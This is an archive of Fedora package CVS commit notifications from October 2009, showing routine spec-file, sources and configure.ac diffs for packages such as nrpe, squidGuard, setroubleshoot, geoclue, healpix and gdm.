+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From peter at fedoraproject.org  Mon Oct 26 13:54:04 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Mon, 26 Oct 2009 13:54:04 +0000 (UTC)
Subject: rpms/nrpe/EL-4 import.log,1.2,1.3 nrpe.spec,1.6,1.7
Message-ID: <20091026135404.8855B11C0268@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/nrpe/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13405/EL-4

Modified Files:
	import.log nrpe.spec 
Log Message:
fixed bz# 528974


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/EL-4/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	24 Sep 2009 15:01:05 -0000	1.2
+++ import.log	26 Oct 2009 13:54:04 -0000	1.3
@@ -1,2 +1,3 @@
 nrpe-2_12-6_fc10:EL-4:nrpe-2.12-6.fc10.src.rpm:1233591215
 nrpe-2_12-11_fc11:EL-4:nrpe-2.12-11.fc11.src.rpm:1253804429
+nrpe-2_12-12_fc11:EL-4:nrpe-2.12-12.fc11.src.rpm:1256565213


Index: nrpe.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nrpe/EL-4/nrpe.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- nrpe.spec	24 Sep 2009 15:01:05 -0000	1.6
+++ nrpe.spec	26 Oct 2009 13:54:04 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name: nrpe
 Version: 2.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 Summary: Host/service/network monitoring agent for Nagios
 
 Group: Applications/System
@@ -16,7 +16,13 @@ Patch2: nrpe-directory_for_configs.diff
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: openssl-devel tcp_wrappers
+BuildRequires: openssl-devel
+
+%if 0%{?rhel}
+BuildRequires: tcp_wrappers
+%else
+BuildRequires: tcp_wrappers-devel
+%endif
 
 Requires(pre): %{_sbindir}/useradd
 Requires(preun): /sbin/service, /sbin/chkconfig
@@ -113,10 +119,14 @@ fi
 
 %files -n nagios-plugins-nrpe
 %defattr(-,root,root,-)
-%{_libdir}/nagios/*
+%{_libdir}/nagios/plugins/check_nrpe
 %doc Changelog LEGAL README
 
 %changelog
+* Mon Oct 26 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-12
+- Do not own %%{_libdir}/nagios/plugins ( bz# 528974 )
+- Fixed building against tcp_wrappers in Fedora ( bz# 528974 )
+
 * Thu Sep 24 2009 Peter Lemenkov <lemenkov at gmail.com> - 2.12-11
 - Fixed BZ# 515324
 



From limb at fedoraproject.org  Mon Oct 26 13:55:45 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:55:45 +0000 (UTC)
Subject: rpms/squidGuard/F-10 sources,1.5,1.6
Message-ID: <20091026135545.4AAB511C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13773/F-10

Modified Files:
	sources 
Log Message:
Oops.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	24 Feb 2009 16:33:55 -0000	1.5
+++ sources	26 Oct 2009 13:55:45 -0000	1.6
@@ -1,2 +1,2 @@
 de834150998c1386c30feae196f16b06  squidGuard-1.4.tar.gz
-7ebb53ea33459c14cbc850cd73405915  blacklists.tar.gz
+c239622cf8e956a91b198617723c71a4  blacklists.tgz



From limb at fedoraproject.org  Mon Oct 26 13:55:45 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:55:45 +0000 (UTC)
Subject: rpms/squidGuard/F-11 sources,1.6,1.7
Message-ID: <20091026135545.5EB5D11C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13773/F-11

Modified Files:
	sources 
Log Message:
Oops.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Feb 2009 17:49:28 -0000	1.6
+++ sources	26 Oct 2009 13:55:45 -0000	1.7
@@ -1,2 +1,2 @@
 de834150998c1386c30feae196f16b06  squidGuard-1.4.tar.gz
-7ebb53ea33459c14cbc850cd73405915  blacklists.tar.gz
+c239622cf8e956a91b198617723c71a4  blacklists.tgz



From limb at fedoraproject.org  Mon Oct 26 13:55:45 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 26 Oct 2009 13:55:45 +0000 (UTC)
Subject: rpms/squidGuard/F-12 sources,1.6,1.7
Message-ID: <20091026135545.8C8BC11C0268@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13773/F-12

Modified Files:
	sources 
Log Message:
Oops.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Feb 2009 17:49:28 -0000	1.6
+++ sources	26 Oct 2009 13:55:45 -0000	1.7
@@ -1,2 +1,2 @@
 de834150998c1386c30feae196f16b06  squidGuard-1.4.tar.gz
-7ebb53ea33459c14cbc850cd73405915  blacklists.tar.gz
+c239622cf8e956a91b198617723c71a4  blacklists.tgz



From dwalsh at fedoraproject.org  Mon Oct 26 14:02:16 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 26 Oct 2009 14:02:16 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.135,
	1.136 setroubleshoot.spec, 1.175, 1.176 sources, 1.148, 1.149
Message-ID: <20091026140216.F1A0911C0268@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15311

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
- Update po
- Fix bugzilla reporting to handle LoadError exception
 
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
- Add icon to browser



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- .cvsignore	15 Oct 2009 15:08:39 -0000	1.135
+++ .cvsignore	26 Oct 2009 14:02:16 -0000	1.136
@@ -53,3 +53,4 @@ setroubleshoot-2.2.38.tar.gz
 setroubleshoot-2.2.39.tar.gz
 setroubleshoot-2.2.40.tar.gz
 setroubleshoot-2.2.41.tar.gz
+setroubleshoot-2.2.42.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- setroubleshoot.spec	15 Oct 2009 15:08:41 -0000	1.175
+++ setroubleshoot.spec	26 Oct 2009 14:02:16 -0000	1.176
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.41
+Version: 2.2.42
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,10 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
+- Update po
+- Fix bugzilla reporting to handle LoadError exception
+ 
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
 - Add icon to browser
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- sources	15 Oct 2009 15:08:42 -0000	1.148
+++ sources	26 Oct 2009 14:02:16 -0000	1.149
@@ -1 +1 @@
-119f0f8d26a90460491fe388650c15ac  setroubleshoot-2.2.41.tar.gz
+44f7afba1ec6ecbe08da6dd735f9092c  setroubleshoot-2.2.42.tar.gz



From dwalsh at fedoraproject.org  Mon Oct 26 14:07:42 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 26 Oct 2009 14:07:42 +0000 (UTC)
Subject: rpms/setroubleshoot/F-12 setroubleshoot.spec, 1.169, 1.170 sources, 
	1.142, 1.143
Message-ID: <20091026140742.C096F11C0268@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16485

Modified Files:
	setroubleshoot.spec sources 
Log Message:
* Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
- Update po
- Fix bugzilla reporting to handle LoadError exception
 
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
- Add icon to browser



Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/setroubleshoot.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- setroubleshoot.spec	15 Oct 2009 14:31:42 -0000	1.169
+++ setroubleshoot.spec	26 Oct 2009 14:07:42 -0000	1.170
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.40
+Version: 2.2.42
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,13 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Mon Oct 26 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.42-1
+- Update po
+- Fix bugzilla reporting to handle LoadError exception
+ 
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.41-1
+- Add icon to browser
+
 * Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
 - Fix up browser button handling when there are 0, 1 or more alerts
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/sources,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- sources	15 Oct 2009 14:31:42 -0000	1.142
+++ sources	26 Oct 2009 14:07:42 -0000	1.143
@@ -1 +1 @@
-f91cdbe0d7bf14b27bf5c6b0f599b3b7  setroubleshoot-2.2.40.tar.gz
+44f7afba1ec6ecbe08da6dd735f9092c  setroubleshoot-2.2.42.tar.gz



From pbrobinson at fedoraproject.org  Mon Oct 26 14:11:27 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 14:11:27 +0000 (UTC)
Subject: rpms/geoclue/F-11 geoclue-fixgpsd.patch, NONE,
	1.1 geoclue-nm08.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 geoclue.spec, 1.17, 1.18 sources,
	1.3, 1.4
Message-ID: <20091026141127.8531F11C0268@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/geoclue/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17891

Modified Files:
	.cvsignore geoclue.spec sources 
Added Files:
	geoclue-fixgpsd.patch geoclue-nm08.patch 
Log Message:
- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin

geoclue-fixgpsd.patch:
 configure.ac |   21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

--- NEW FILE geoclue-fixgpsd.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 11:18:16.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 11:19:02.000000000 +0000
@@ -203,21 +203,12 @@
 AC_SUBST(GYPSY_LIBS)
 AC_SUBST(GYPSY_CFLAGS)
 
-AC_ARG_ENABLE(gpsd,
-              AS_HELP_STRING([--enable-gpsd=@<:@no/yes/auto@:>@],
-                             [build with gpsd support]), ,
-                             enable_gpsd=auto)
-
-if test "x$enable_gpsd" != "xno"; then
-   AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
-   if test "x$have_gpsd" = "xyes"; then
-      PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
-      GPSD_LIBS="-lgps"
-   else
-      NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
-   fi
- else
-   have_gpsd=no
+AC_CHECK_LIB(gps, gps_open,[libgps=yes] )
+if test "x$libgps" = xyes; then
+ PROVIDER_SUBDIRS="$PROVIDER_SUBDIRS gpsd"
+ GPSD_LIBS="-lgps"
+else
+ NO_BUILD_PROVIDERS="$NO_BUILD_PROVIDERS gpsd"
 fi
 
 if test "x$enable_gpsd" = "xyes" -a "x$have_gpsd" != "xyes"; then

geoclue-nm08.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE geoclue-nm08.patch ---
--- geoclue-0.11.1.1/configure.ac.orig	2009-10-26 10:49:36.000000000 +0000
+++ geoclue-0.11.1.1/configure.ac	2009-10-26 10:50:03.000000000 +0000
@@ -123,7 +123,7 @@
 if test "x$enable_networkmanager" != "xno"; then
    PKG_CHECK_MODULES(NETWORK_MANAGER,
    [
-      NetworkManager libnm_glib
+      NetworkManager libnm-glib
    ], have_networkmanager="yes", have_networkmanager="no")
 
    if test "x$have_networkmanager" = "xyes"; then


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Mar 2009 17:16:44 -0000	1.3
+++ .cvsignore	26 Oct 2009 14:11:27 -0000	1.4
@@ -1 +1 @@
-geoclue-0.11.1.1-20090310.tar.gz
+geoclue-0.11.1.1-20091026.tar.gz


Index: geoclue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-11/geoclue.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- geoclue.spec	20 Jun 2009 00:07:29 -0000	1.17
+++ geoclue.spec	26 Oct 2009 14:11:27 -0000	1.18
@@ -1,15 +1,15 @@
 # Tarfile created using git
 # git clone git://anongit.freedesktop.org/geoclue
-# git-archive --format=tar --prefix=geoclue-0.1.11.1/ %{git_version} | gzip > ~/geoclue-0.1.11.1-20090310.tar.gz
+# git archive --format=tar --prefix=geoclue-0.11.1.1/ %{git_version} | gzip > ~/geoclue-%{version}-%{gitdate}.tar.gz
 
-%define gitdate 20090310
-%define git_version 3a31d26
+%define gitdate 20091026
+%define git_version 73b6729
 %define tarfile %{name}-%{version}-%{gitdate}.tar.gz
 %define snapshot %{gitdate}git%{git_version}
 
 Name:           geoclue
 Version:        0.11.1.1
-Release:        0.6.%{snapshot}%{?dist}
+Release:        0.9.%{snapshot}%{?dist}
 Summary:        A modular geoinformation service
 
 Group:          System Environment/Libraries
@@ -17,18 +17,24 @@ License:        LGPLv2
 URL:            http://geoclue.freedesktop.org/
 #Source0:        http://folks.o-hand.com/jku/geoclue-releases/%{name}-%{version}.tar.gz
 Source0:        %{tarfile}
+Patch0:         geoclue-nm08.patch
+Patch1:         geoclue-fixgpsd.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: dbus-devel
 BuildRequires: dbus-glib-devel
+BuildRequires: gammu-devel
 BuildRequires: glib2-devel
 BuildRequires: libxml2-devel
+BuildRequires: libsoup-devel
 BuildRequires: GConf2-devel
 BuildRequires: gtk2-devel
 BuildRequires: NetworkManager-devel
+BuildRequires: NetworkManager-glib-devel
 BuildRequires: gypsy-devel
 BuildRequires: gpsd-devel
 BuildRequires: gtk-doc
+
 # Require these until we move back to a formal release
 BuildRequires: libtool
 BuildRequires: automake
@@ -48,14 +54,23 @@ Requires: %{name} = %{version}-%{release
 Requires: dbus-devel
 Requires: libxml2-devel
 Requires: pkgconfig
-Requires: gtk-doc
+
 %description devel
 Files for development with geoclue.
 
+%package doc
+Summary: Developer documentation for geoclue
+Group: Development/Libraries
+Requires: %{name} = %{version}-%{release}
+Requires: gtk-doc
+BuildArch: noarch
+
+%description doc
+Developer documentation for geoclue
+
 %package gui
 Summary: Testing gui for geoclue
 Group: Development/Libraries
-Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
 %description gui
@@ -63,28 +78,36 @@ Testing gui for geoclue
 
 %package gpsd
 Summary: gpsd provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gpsd
 
 %description gpsd
 A gpsd provider for geoclue
 
 %package gypsy
 Summary: gypsy provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gypsy
 
 %description gypsy
 A gypsy provider for geoclue
 
+%package gsmloc
+Summary: gsmloc provider for geoclue
+Group: System Environment/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description gsmloc
+A gsmloc provider for geoclue
+
 %prep
 %setup -q
+%patch0 -p1 -b .nm08
+%patch1 -p1 -b .fixgpsd
 
 %build
 ./autogen.sh
-%configure --disable-static --enable-gtk-doc
+%configure --disable-static --enable-gtk-doc --enable-networkmanager=yes --enable-gypsy=yes --enable-skyhook=yes --enable-gsmloc=yes
 make %{?_smp_mflags}
 
 %install
@@ -115,6 +138,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Localnet.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Manual.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Plazes.service
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Skyhook.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Yahoo.service
 %{_datadir}/geoclue-providers/geoclue-example.provider
 %{_datadir}/geoclue-providers/geoclue-geonames.provider
@@ -122,6 +146,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-localnet.provider
 %{_datadir}/geoclue-providers/geoclue-manual.provider
 %{_datadir}/geoclue-providers/geoclue-plazes.provider
+%{_datadir}/geoclue-providers/geoclue-skyhook.provider
 %{_datadir}/geoclue-providers/geoclue-yahoo.provider
 %{_libexecdir}/geoclue-example
 %{_libexecdir}/geoclue-geonames
@@ -130,6 +155,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/geoclue-manual
 %{_libexecdir}/geoclue-master
 %{_libexecdir}/geoclue-plazes
+%{_libexecdir}/geoclue-skyhook
 %{_libexecdir}/geoclue-yahoo
 
 %files devel
@@ -137,6 +163,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/geoclue
 %{_libdir}/pkgconfig/geoclue.pc
 %{_libdir}/libgeoclue.so
+
+%files doc
+%defattr(-,root,root,-)
 %{_datadir}/gtk-doc/html/geoclue/
 
 %files gui
@@ -155,12 +184,24 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-gypsy.provider
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gypsy.service
 
+%files gsmloc
+%defattr(-,root,root,-)
+%{_libexecdir}/geoclue-gsmloc
+%{_datadir}/geoclue-providers/geoclue-gsmloc.provider
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gsmloc.service
+
 %changelog
-* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6
-- Add missing gtk-doc requires
+* Mon Oct 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.9
+- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11.1.1-0.8.20090310git3a31d26
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.5
-- Package the developer documentation as well
+* Thu Jul 23 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.7
+- Move develop documentation to its own noarch package to fix RHBZ 513488
+
+* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6
+- Add developer documentation
 
 * Fri Jun 19 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.4
 - Fix geoclue-test-gui (#506921)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Mar 2009 17:16:45 -0000	1.3
+++ sources	26 Oct 2009 14:11:27 -0000	1.4
@@ -1 +1 @@
-e7c5cede9f8e18e9bbd1fb3af78a594b  geoclue-0.11.1.1-20090310.tar.gz
+6323f039a2ce88bcc71b5cd5f31e4456  geoclue-0.11.1.1-20091026.tar.gz



From jussilehtola at fedoraproject.org  Mon Oct 26 14:18:43 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Mon, 26 Oct 2009 14:18:43 +0000 (UTC)
Subject: rpms/healpix/devel healpix.spec,1.8,1.9
Message-ID: <20091026141843.B805311C0268@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/healpix/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19184

Modified Files:
	healpix.spec 
Log Message:
Explicit dependency versioning on chealpix-devel.


Index: healpix.spec
===================================================================
RCS file: /cvs/pkgs/rpms/healpix/devel/healpix.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- healpix.spec	22 Sep 2009 14:30:05 -0000	1.8
+++ healpix.spec	26 Oct 2009 14:18:43 -0000	1.9
@@ -86,7 +86,7 @@ This package contains the library for to
 %package -n c%{name}-devel
 Summary:        HEALPix C Bindings Library development files
 Group:          Development/Libraries
-Requires:       c%{name} = %{version}
+Requires:       c%{name} = %{version}-%{release}
 
 %description -n c%{name}-devel
 HEALPix is an acronym for Hierarchical Equal Area isoLatitude Pixelization



From dwalsh at fedoraproject.org  Mon Oct 26 14:23:58 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 26 Oct 2009 14:23:58 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.44,
	1.45 setroubleshoot-plugins.spec, 1.50, 1.51 sources, 1.45, 1.46
Message-ID: <20091026142358.EBEE311C0268@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20000

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Mon Oct 26 2009  <dwalsh at redhat.com> - 2.1.29-1
- Update-po
- Add httpd_write_content plugin



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	15 Oct 2009 14:30:58 -0000	1.44
+++ .cvsignore	26 Oct 2009 14:23:58 -0000	1.45
@@ -34,3 +34,4 @@ setroubleshoot-plugins-2.1.25.tar.gz
 setroubleshoot-plugins-2.1.26.tar.gz
 setroubleshoot-plugins-2.1.27.tar.gz
 setroubleshoot-plugins-2.1.28.tar.gz
+setroubleshoot-plugins-2.1.29.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- setroubleshoot-plugins.spec	15 Oct 2009 14:30:58 -0000	1.50
+++ setroubleshoot-plugins.spec	26 Oct 2009 14:23:58 -0000	1.51
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.28
+Version: 2.1.29
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,10 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Mon Oct 26 2009  <dwalsh at redhat.com> - 2.1.29-1
+- Update-po
+- Add httpd_write_content plugin
+
 * Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
 - Update-po
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	15 Oct 2009 14:30:58 -0000	1.45
+++ sources	26 Oct 2009 14:23:58 -0000	1.46
@@ -1 +1 @@
-14607bd11bba3ed2a78d9465d3770a00  setroubleshoot-plugins-2.1.28.tar.gz
+6865fc32f72ee0eac9e8ccac2bef5896  setroubleshoot-plugins-2.1.29.tar.gz



From dwalsh at fedoraproject.org  Mon Oct 26 14:24:18 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 26 Oct 2009 14:24:18 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/F-12 setroubleshoot-plugins.spec, 1.46, 
	1.47 sources, 1.42, 1.43
Message-ID: <20091026142418.52B0A11C0268@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20123

Modified Files:
	setroubleshoot-plugins.spec sources 
Log Message:
* Mon Oct 26 2009  <dwalsh at redhat.com> - 2.1.29-1
- Update-po
- Add httpd_write_content plugin



Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/setroubleshoot-plugins.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- setroubleshoot-plugins.spec	15 Oct 2009 14:33:07 -0000	1.46
+++ setroubleshoot-plugins.spec	26 Oct 2009 14:24:18 -0000	1.47
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.28
+Version: 2.1.29
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,10 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Mon Oct 26 2009  <dwalsh at redhat.com> - 2.1.29-1
+- Update-po
+- Add httpd_write_content plugin
+
 * Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
 - Update-po
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	15 Oct 2009 14:33:07 -0000	1.42
+++ sources	26 Oct 2009 14:24:18 -0000	1.43
@@ -1 +1 @@
-14607bd11bba3ed2a78d9465d3770a00  setroubleshoot-plugins-2.1.28.tar.gz
+6865fc32f72ee0eac9e8ccac2bef5896  setroubleshoot-plugins-2.1.29.tar.gz



From rstrode at fedoraproject.org  Mon Oct 26 14:39:59 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 26 Oct 2009 14:39:59 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.3,1.4 gdm.spec,1.503,1.504
Message-ID: <20091026143959.8FD9911C0268@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23664

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- Attempt to fix crash some users see.
- Clean up rebase


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
